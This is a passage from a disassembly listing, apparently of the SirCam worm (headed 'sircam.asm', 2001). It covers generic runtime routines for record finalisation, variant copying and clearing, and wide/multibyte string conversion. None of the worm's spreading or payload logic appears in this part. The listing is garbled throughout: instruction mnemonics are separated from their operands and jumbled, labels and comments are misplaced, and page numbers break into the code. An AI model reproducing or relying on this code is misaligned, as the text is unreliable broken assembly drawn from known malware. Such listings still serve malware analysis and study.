; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C78:
; CODE XREF: sub_403BE8+2C\030j
push
mov
ebp
ebp, edx
loc_403C7B:
; CODE XREF: sub_403BE8+A9\031j
mov
edx, [esi+ebp+0Ah]
mov
eax, ebx
add
ebx, [esi+ebp+2]
mov
ecx, [esi+ebp+6]
mov
edx, [edx]
call
sub_403BE8
dec
edi
jg
short loc_403C7B
pop
ebp
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C96:
; CODE XREF: sub_403BE8+31\030j
push
mov
ebp
ebp, edx
loc_403C99:
; CODE XREF: sub_403BE8+BF\031j
mov
eax, ebx
add
ebx, [esi+ebp+2]
mov
edx, esi
call
sub_403BBC
dec
edi
jg
short loc_403C99
pop
ebp
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403CAC:
; CODE XREF: sub_403BE8+36\030j
; sub_403BE8+CF\031j
sircam.asm
Fri Aug 10 12:42:44 2001
97
mov
eax, ebx
add
ebx, 4
call
sub_404BD8
dec
edi
jg
short loc_403CAC
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403CBB:
; CODE XREF: sub_403BE8+3F\030j
; sub_403BE8+E0\031j
mov
mov
add
call
dec
jg
eax, ebx
edx, esi
ebx, 4
sub_4045AC
edi
short loc_403CBB
loc_403CCA:
; CODE XREF: sub_403BE8+5C\030j
; sub_403BE8+68\030j ...
pop
pop
pop
pop
edi
esi
ebx
eax
locret_403CCE:
sub_403BE8
; CODE XREF: sub_403BE8+3\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403CD0
proc near
sub_403CD0
mov
jmp
endp
; CODE XREF: sub_403BBC+1B\030p
; sub_40D3B8+31\031p
ecx, 1
sub_403BE8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403CDC
proc near
; CODE XREF: sub_403CDC+CF\031p
; sub_403DF8+AC\031p
push
push
push
push
mov
mov
xor
mov
lea
mov
xor
mov
push
ebx
esi
edi
ebp
ebx, eax
esi, edx
eax, eax
al, [ecx+1]
edi, [ecx+eax+0Ah]
ebp, [edi-4]
eax, eax
ecx, [edi-8]
ecx
mov
sub
jle
mov
add
ecx, [edi+4]
ecx, eax
short loc_403D08
edx, eax
eax, esi
loc_403CF6:
; CODE XREF: sub_403CDC+100\031j
sircam.asm
Fri Aug 10 12:42:44 2001
add
call
98
edx, ebx
sub_4026B0
loc_403D08:
; CODE XREF: sub_403CDC+1F\030j
mov
eax, [edi+4]
mov
edx, [edi]
mov
edx, [edx]
mov
cl, [edx]
cmp
cl, 0Ah
jz
short loc_403D47
cmp
cl, 0Bh
jz
short loc_403D58
cmp
cl, 0Ch
jz
short loc_403D69
cmp
cl, 0Dh
jz
short loc_403D7A
cmp
cl, 0Eh
jz
short loc_403D9A
cmp
cl, 0Fh
jz
loc_403DB3
cmp
cl, 11h
jz
loc_403DC4
mov
al, 2
pop
ebp
pop
edi
pop
esi
pop
ebx
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403D47:
; CODE XREF: sub_403CDC+38\030j
mov
edx, [esi+eax]
add
eax, ebx
call
sub_40351C
mov
eax, 4
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403D58:
; CODE XREF: sub_403CDC+3D\030j
mov
edx, [esi+eax]
add
eax, ebx
call
sub_403ACC
mov
eax, 4
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403D69:
; CODE XREF: sub_403CDC+42\030j
lea
edx, [esi+eax]
add
eax, ebx
call
sub_404074
mov
eax, 10h
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403D7A:
; CODE XREF: sub_403CDC+47\030j
xor
ecx, ecx
mov
cl, [edx+1]
push
dword ptr [edx+ecx+2]
push
dword ptr [edx+ecx+6]
mov
ecx, [edx+ecx+0Ah]
mov
ecx, [ecx]
lea
edx, [esi+eax]
add
eax, ebx
call
sub_403DF8
pop
eax
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403D9A:
; CODE XREF: sub_403CDC+4C\030j
xor
ecx, ecx
sircam.asm
Fri Aug 10 12:42:44 2001
99
mov
cl, [edx+1]
mov
ecx, [edx+ecx+2]
push
ecx
mov
ecx, edx
lea
edx, [esi+eax]
add
eax, ebx
call
sub_403CDC
pop
eax
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403DB3:
; CODE XREF: sub_403CDC+51\030j
mov
edx, [esi+eax]
add
eax, ebx
call
sub_404BF0
mov
eax, 4
jmp
short loc_403DD5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403DC4:
; CODE XREF: sub_403CDC+5A\030j
mov
mov
add
call
mov
ecx, edx
edx, [esi+eax]
eax, ebx
sub_4045E8
eax, 4
loc_403DD5:
; CODE XREF: sub_403CDC+7A\030j
; sub_403CDC+8B\030j ...
add
add
dec
jnz
pop
sub
jle
lea
add
call
eax, [edi+4]
edi, 8
ebp
loc_403CF6
ecx
ecx, eax
short loc_403DF1
edx, [ebx+eax]
eax, esi
sub_4026B0
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
loc_403DF1:
sub_403CDC
; CODE XREF: sub_403CDC+109\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403DF8
proc near
arg_0
= dword ptr
push
push
push
push
mov
mov
mov
mov
mov
cmp
jz
cmp
; CODE XREF: sub_403CDC+B6\030p
; sub_403DF8+98\031p ...
14h
ebx
esi
edi
ebp
ebx, eax
esi, edx
edi, ecx
ebp, [esp+arg_0]
cl, [edi]
cl, 0Ah
short loc_403E3E
cl, 0Bh
sircam.asm
Fri Aug 10 12:42:44 2001
100
jz
short loc_403E55
cmp
cl, 0Ch
jz
short loc_403E69
cmp
cl, 0Dh
jz
short loc_403E7D
cmp
cl, 0Eh
jz
short loc_403E9E
cmp
cl, 0Fh
jz
loc_403EBB
cmp
cl, 11h
jz
loc_403ECF
mov
al, 2
pop
ebp
pop
edi
pop
esi
pop
ebx
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403E3E:
; CODE XREF: sub_403DF8+13\030j
; sub_403DF8+56\031j
mov
eax, ebx
mov
edx, [esi]
call
sub_40351C
add
ebx, 4
add
esi, 4
dec
ebp
jnz
short loc_403E3E
jmp
loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403E55:
; CODE XREF: sub_403DF8+18\030j
; sub_403DF8+6D\031j
mov
eax, ebx
mov
edx, [esi]
call
sub_403ACC
add
ebx, 4
add
esi, 4
dec
ebp
jnz
short loc_403E55
jmp
short loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403E69:
; CODE XREF: sub_403DF8+1D\030j
; sub_403DF8+81\031j
mov
eax, ebx
mov
edx, esi
call
sub_404074
add
ebx, 10h
add
esi, 10h
dec
ebp
jnz
short loc_403E69
jmp
short loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403E7D:
; CODE XREF: sub_403DF8+22\030j
xor
mov
lea
ecx, ecx
cl, [edi+1]
edi, [edi+ecx+2]
mov
mov
mov
push
call
add
add
dec
jnz
; CODE XREF: sub_403DF8+A2\031j
eax, ebx
edx, esi
ecx, [edi+8]
dword ptr [edi+4]
sub_403DF8
ebx, [edi]
esi, [edi]
ebp
short loc_403E86
loc_403E86:
sircam.asm
Fri Aug 10 12:42:44 2001
101
jmp
short loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403E9E:
; CODE XREF: sub_403DF8+27\030j
; sub_403DF8+BF\031j
mov
eax, ebx
mov
edx, esi
mov
ecx, edi
call
sub_403CDC
xor
eax, eax
mov
al, [edi+1]
add
ebx, [edi+eax+2]
add
esi, [edi+eax+2]
dec
ebp
jnz
short loc_403E9E
jmp
short loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403EBB:
; CODE XREF: sub_403DF8+2C\030j
; sub_403DF8+D3\031j
mov
eax, ebx
mov
edx, [esi]
call
sub_404BF0
add
ebx, 4
add
esi, 4
dec
ebp
jnz
short loc_403EBB
jmp
short loc_403EE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403ECF:
; CODE XREF: sub_403DF8+35\030j
; sub_403DF8+E9\031j
mov
mov
mov
call
add
add
dec
jnz
eax, ebx
edx, [esi]
ecx, edi
sub_4045E8
ebx, 4
esi, 4
ebp
short loc_403ECF
loc_403EE3:
sub_403DF8
; CODE XREF: sub_403DF8+58\030j
; sub_403DF8+6F\030j ...
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403EEC
proc near
var_800
= byte ptr -800h
push
push
push
push
add
mov
mov
mov
ebx
esi
edi
ebp
esp,
esi,
ebx,
edi,
; CODE XREF: sub_403F78+1A\031p
0FFFFF800h
ecx
edx
eax
sircam.asm
Fri Aug 10 12:42:44 2001
102
test
ebx, ebx
jnz
short loc_403F09
mov
eax, esi
call
sub_4034C8
jmp
short loc_403F6A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403F09:
; CODE XREF: sub_403EEC+12\030j
cmp
ebx, 400h
jge
short loc_403F37
push
0
push
0
push
800h
lea
eax, [esp+80Ch+var_800]
push
eax
push
ebx
push
edi
push
0
push
0
call
j_WideCharToMultiByte
mov
ecx, eax
mov
edx, esp
mov
eax, esi
call
sub_4035B0
jmp
short loc_403F6A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403F37:
push
push
push
push
push
push
push
push
call
mov
mov
mov
xor
call
push
push
push
mov
push
push
push
push
push
call
; CODE XREF: sub_403EEC+23\030j
0
0
0
0
ebx
edi
0
0
j_WideCharToMultiByte
ebp, eax
eax, esi
ecx, ebp
edx, edx
sub_4035B0
0
0
ebp
eax, [esi]
eax
ebx
edi
0
0
j_WideCharToMultiByte
loc_403F6A:
sub_403EEC
; CODE XREF: sub_403EEC+1B\030j
; sub_403EEC+49\030j
add
pop
pop
pop
pop
retn
endp
esp, 800h
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403F78
proc near
; CODE XREF: sub_404238+12\031p
sircam.asm
Fri Aug 10 12:42:44 2001
var_4
= dword ptr -4
sub_403F78
push
ebx
push
esi
push
0
mov
esi, edx
mov
ebx, eax
mov
[esp+4+var_4], ebx
mov
eax, [esp+4+var_4]
push
eax
call
j_SysStringLen
mov
edx, eax
mov
ecx, esi
mov
eax, ebx
call
sub_403EEC
pop
edx
pop
esi
pop
ebx
retn
endp ; sp = -4
103
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403F9C
proc near
var_800
= byte ptr -800h
; CODE XREF: sub_404268+7\031p
push
ebx
push
esi
push
edi
push
ebp
add
esp, 0FFFFF800h
mov
ebx, eax
mov
eax, ebx
call
sub_403724
mov
esi, eax
mov
eax, ebx
call
sub_403724
cmp
eax, 400h
jge
short loc_403FEA
push
400h
lea
eax, [esp+804h+var_800]
push
eax
push
esi
mov
eax, ebx
call
sub_4038E8
push
eax
push
0
push
0
call
j_MultiByteToWideChar
push
eax
lea
eax, [esp+804h+var_800]
push
eax
call
j_SysAllocStringLen
mov
edi, eax
jmp
short loc_404012
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403FEA:
; CODE XREF: sub_403F9C+21\030j
push
push
push
push
push
push
0
0
esi
ebx
0
0
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
push
push
call
mov
push
push
push
push
push
push
call
j_MultiByteToWideChar
ebp, eax
ebp
0
j_SysAllocStringLen
edi, eax
ebp
edi
esi
ebx
0
0
j_MultiByteToWideChar
loc_404012:
sub_403F9C
104
; CODE XREF: sub_403F9C+4C\030j
mov
eax, edi
add
esp, 800h
pop
ebp
pop
edi
pop
esi
pop
ebx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404020
proc near
sub_404020
mov
jmp
endp
; CODE XREF: sub_404194+4A\031p
; sub_404194+98\031p
; DATA XREF: ...
al, 0Fh
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404028:
; CODE XREF: CODE:00404106\031j
; DATA XREF: sub_405880+6D\031o ...
mov
al, 10h
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404030
proc near
; CODE XREF: sub_404194+51\031p
; sub_404238+19\031p ...
xor
edx, edx
mov
dx, [eax]
test
edx, 4000h
jnz
short loc_404065
cmp
edx, 8
jb
short loc_404065
cmp
edx, 100h
jz
short loc_404058
cmp
edx, 101h
jnz
short loc_40406B
jmp
ds:dword_41E3E0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404058:
mov
add
jmp
; CODE XREF: sub_404030+18\030j
word ptr [eax], 0
eax, 8
sub_4034C8
sircam.asm
Fri Aug 10 12:42:44 2001
105
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404065:
; CODE XREF: sub_404030+B\030j
; sub_404030+10\030j
word ptr [eax], 0
mov
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40406B:
sub_404030
; CODE XREF: sub_404030+20\030j
push
eax
call
j_VariantClear
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404074
proc near
; CODE XREF: sub_403CDC+92\030p
; sub_403DF8+75\030p ...
cmp
eax, edx
jz
locret_40410C
cmp
word ptr [eax], 8
jb
short loc_4040AC
push
eax
push
edx
cmp
word ptr [eax], 100h
jz
short loc_4040A2
cmp
word ptr [eax], 101h
jz
short loc_40409A
push
eax
call
j_VariantClear
jmp
short loc_4040AA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40409A:
; CODE XREF: sub_404074+1C\030j
call
ds:dword_41E3E0
jmp
short loc_4040AA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4040A2:
; CODE XREF: sub_404074+15\030j
add
call
eax, 8
sub_4034C8
loc_4040AA:
; CODE XREF: sub_404074+24\030j
; sub_404074+2C\030j
pop
pop
loc_4040AC:
sub_404074
cmp
jnb
endp
edx
eax
; CODE XREF: sub_404074+C\030j
word ptr [edx], 8
short loc_4040C3
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4040B2
sub_4040B2
proc near
mov
ecx, [edx]
mov
[eax], ecx
mov
ecx, [edx+8]
mov
[eax+8], ecx
mov
ecx, [edx+0Ch]
mov
[eax+0Ch], ecx
retn
endp
; CODE XREF: CODE:004040D2\031p
sircam.asm
Fri Aug 10 12:42:44 2001
106
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4040C3:
; CODE XREF: sub_404074+3C\030j
cmp
word ptr [edx], 100h
jz
short loc_4040DE
cmp
word ptr [edx], 101h
jnz
short loc_4040F8
push
eax
call
sub_4040B2
pop
eax
jmp
ds:dword_41E3E8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4040DE:
; CODE XREF: CODE:004040C8\030j
mov
edx, [edx+8]
or
edx, edx
jz
short loc_4040EF
mov
ecx, [edx-8]
inc
ecx
jle
short loc_4040EF
lock inc
dword ptr [edx-8]
loc_4040EF:
; CODE XREF: CODE:004040E3\030j
; CODE:004040E9\030j
word ptr [eax], 100h
[eax+8], edx
mov
mov
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4040F8:
mov
push
push
call
or
jnz
; CODE XREF: CODE:004040CF\030j
word ptr [eax], 0
edx
eax
j_VariantCopyInd
eax, eax
loc_404028
locret_40410C:
; CODE XREF: sub_404074+2\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404110
proc near
var_10
= byte ptr -10h
; CODE XREF: sub_40417C+A\031p
; sub_404194+6F\031p
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF0h
push
ebx
push
esi
push
edi
mov
esi, edx
